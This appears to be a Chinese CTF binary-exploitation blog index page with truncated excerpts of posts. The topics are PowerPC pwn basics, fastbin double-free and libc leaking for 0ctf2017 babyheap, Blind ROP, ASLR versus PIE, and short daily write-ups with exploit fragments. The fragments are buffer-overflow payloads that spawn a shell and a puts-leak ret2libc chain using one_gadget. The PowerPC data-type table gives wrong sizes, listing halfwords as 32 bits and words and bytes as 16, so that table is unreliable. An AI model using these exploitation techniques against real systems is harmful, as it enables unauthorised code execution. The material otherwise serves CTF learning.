powerPC PWN
powerPC_PWN基本知识前言在前段时候的数据安全挑战赛有一道PPC的题,感觉并不是很难,但是卡了很久,这种题就是看你刷的题多不多,有没有这种环境和经验。所以这里来记录一下
前置知识相关内容很多,更多深入的内容还需要翻阅手册,这里就介绍一些基本的、与做题相关的内容。
PowerPC简介PowerPC(后称Performance Optimization With Enhanced RISC – Performance Computing,有时缩写为PPC)是一种精简指令集计算机(RISC)指令集架构(ISA),由 1991 年苹果-IBM-摩托罗拉联盟创建,称为AIM。PowerPC 作为一种不断发展的指令集,自 2006 年起被命名为Power ISA,而旧名称作为基于Power Architecture的处理器 的某些实现的商标继续存在。
数据类型PowerPC支持的数据类型
名称
字长(bits)
Quadwords
128
Doublewords
64
Halfwords
32
Words
16
Bytes
16
寄存器PowerPC中的寄存 ...
fastbinattack---0ctfbabyheap
fastbinattack—0ctf2017babyheap题解和学习前言这篇文章主要是在学习fastbinattack中遇到的一些知识点的总结和在做babyheap的时候的遇到的问题。
fastbin 二次释放由于fastbin采用单链表结构,当chunk释放的时候并不会清空next_chunk的prev_inuse(这与fastbin的机制有关,为了多次利用,为了效率嘛),只要存在堆溢出和其他漏洞能够控制chunk的内容,即可更改fastbin的chunk的fd指针,使我们下次申请的空间是我们需要的任意地址,但是得绕过一些检查。
绕过fastbin检查机制fastbin dupfastbin对于二次释放的检查机制仅仅验证了当前块是否与链表头部的块相同,而对链表中其他的块没有做验证。此外还会检查当前块的size域与头部块的size域是否相等的检查。
于是我们可以先释放当前块,然后释放另一个相同大小的块,然后再释放当前块,就可以在fastbin的链表上形成一个循环链表,只要申请当前块大小的空间,都会是fastbin中的两个块。
fastbin dup consolidate这种绕过 ...
fastbin dup 来获取libc地址
fastbin dup 来获取libc地址
当我在做0ctf2017 babyheap的时候遇到利用fastbin dup 来泄露mainarena的地址来获取libc的地址,其他大佬给的wp没有讲如果通过泄露的smallbin的地址获取mainarena和获取libc的地址。
获取mainarena地址首先我们要知道
bin是由struct chunk结构体组成的链表。
不同的chunk更据特点的不同分为不同的chunk,为了将这些chunk进行分类管理,glibc采用了bin链这种方式管理不同的chunk。
不同的bin链是由arena管理的
bin链中的chunk均为free chunk。
主线程的main_arena保存在libc.so的数据段里面,其他线程的arena则保存在该arena分配的heap里面。
bin链的保存依赖struct malloc_state结构体
1234567891011121314151617181920212223242526typedef struct malloc_chunk* mchunkptr;typedef struct mall ...
BROP原理及利用
BROP原理及利用基本介绍BROP(Blind ROP) 于 2014 年由 Standford 的 Andrea Bittau 提出,其相关研究成果发表在 Oakland 2014,其论文题目是 Hacking Blind,下面是作者对应的 paper 和 slides, 以及作者相应的介绍
paper
slide
BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流。
攻击条件
源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。
攻击原理目前,大部分应用都会开启 ASLR、NX、Canary 保护。这里我们分别讲解在 BROP 中如何绕过这些保护,以及如何进行攻击。
基本思路在 BROP 中,基本的遵循的思路如下
判断栈溢出长度
暴力枚举
Stack Reading
获取栈上的数 ...
ASLR和PIE的区别和作用
ASLR和PIE的区别和作用
ASLR的作用
首先ASLR是归属于系统功能的, aslr是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的的一种技术。如今Linux、FreeBSD、Windows等主流操作系统都已采用了该技术。
在传统的操作系统里,用户程序的地址空间布局是固定的,自低向高依次为代码区, BSS区,堆栈区,攻击者通过分析能轻易得出各区域的基地址,在此情况下,只要攻击者的 注入代码被执行,攻击者就能随意跳转到想到达的区域,终取得计算机的控制权,试想如 果一个程序在执行时,系统分配给此进程三个区域的基地址是随机产生的,每次该程序执行 都不一样,那么攻击者注入的代码即使被执行,也终会因为无法找到合法的返回地址而产 生错误,终进程停止,攻击者无法入侵,这就是地址空间布局随机化的基本思想。
在ASLR的实现中,系统将进程的 用户空间分为三个区域,可执行区,映射区和栈区,可执行区存放可执行代码,初始化数据 和未初始化数据,映射区包括堆,动态库和共享内存,栈区 ...
每日一pwn[[第五空间2019 决赛]PWN5]
每日一pwn[[第五空间2019 决赛]PWN5]前言做这个题感觉很简单,但是脑袋没想得过来,一直在尝试用%s泄露随机数,然后写回去,发现无论咋样数据都很难写对,看了其他师傅的wp后发现可以用%n来写那个随机数,只能说自己太傻了。
分析[![image-20240223094932521](/picture/每日一pwn[[第五空间2019 决赛]PWN5]/image-20240223094932521.png)](https://springbird3.oss-cn-chengdu.aliyuncs.com/lianxiang/20221022230518.png)
代码特别简单,就是生成随机数和一个格式化字符串的漏洞,还有输入数据进行对比,并且给了后门函数,于是直接用就行
漏洞点存在栈上的格式化字符串漏洞,可以任意地址泄露和任意地址覆写的漏洞,于是可以泄露随机数,然后回写,或者改写那个随机数为我们输入的即可。不算太难,就直接贴EXP了
EXP我的代码前面经过了部分lambda函数的定义的,是一个模板类型方便调试的exp,这里只给出了关键漏洞利用的数据 ...
每日一pwn[pwn1_sctf_2016]
每日一pwn[pwn1_sctf_2016]前言在寒假玩了太久后的第一次刷题,直接来个每日一pwn,就当恢复训练了
分析代码简单分析了一下
总的来说就是一个C++的逆向分析,总的来说不算难,但是对于没有接触过C++的来说,还是有点难以理解的。后面会简单介绍一下关于这段代码的。
12printf("Tell me something about yourself: ");fgets(s, 32, edata);
这段代码就是打印提示语句,然后从edata这个流获取输入,和C语言里面没区别
1std::string::operator=((int)&input, (int)s);
这段代码就很有C++的特性了,因为C++里面出现了一个新的方式那就命名空间的说法,其实可以理解为就是调用库的形式。这段代码就可以理解为从标准库的string模块调用operator这个函数,于是我们搜索的时候,便可以搜索std::string::operator()函数的作用,或者看汇编代码默认识别的函数格式
于是我们知道这个函数其实就是将s的数据转换为C++格式的stri ...
每日一pwn[jarvisoj_level2]
每日一pwn[jarvisoj_level2]前言简单32位栈溢出
分析
简单分析一下知道,存在栈溢出漏洞,并且有system函数还有/bin/sh字符
于是栈溢出简单利用一下即可
漏洞点栈溢出漏洞,有system函数和/bin/sh字符,是32位的大量栈溢出
EXP12345678def exploit(): li('exploit...') bin_sh = 0x0804A024 system_addr = 0x8048320 call_system = 0x804849E pl = "A"*0x88+p32(bin_sh)+p32(call_system)+p32(bin_sh) db() sla("Input:",pl)
每日一pwn[ciscn_2019_n_8]
每日一pwn[ciscn_2019_n_8]前言有现成的后门函数,但是触发需要一定的条件,根据汇编函数的关系构造数据即可、
分析
发现在scanf读入数据后,对读入的数据进行判断是否满足条件,如果满足即可触发后门函数,这也是一般的路由器会留的一些方便调试的后门类型
漏洞点可以看到首先对第13个数据进行判断是不是非0,然后判断第13个数据是不是17,于是可以知道数据的第13*4=0x34的地方是0x11这数据即可绕过
EXP12345def exploit(): li('exploit...') pl = b'A'*0x34+(b'\x11'+b'\x00'*3) db() sla("What's your name?",pl)
每日一pwn[ciscn_2019_c_1]
每日一pwn[ciscn_2019_c_1]前言存在栈溢出漏洞,无后门函数,存在一个加密函数,但是对payload无影响
分析
关键函数,存在一个栈溢出,但是发现存在一个对我们输入的数据进行加密的流程,本来以为需要逆向一下代码,发现在strlen函数那里存在一个截断,于是便不需要对payload进行更改,直接使用即可
漏洞点存在一个栈溢出,直接打一个puts函数泄露基地址,然后ogg获得shell
EXP12345678910111213141516def exploit(): li('exploit...') db() ogg = 0x4f322 puts_got = 0x000000000602020 puts_plt = 0x0000000004006E0 pop_rdi_ret = 0x0000000000400c83 pl = "A"*0x50+p64(0xbadbeef)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(0x000000000 ...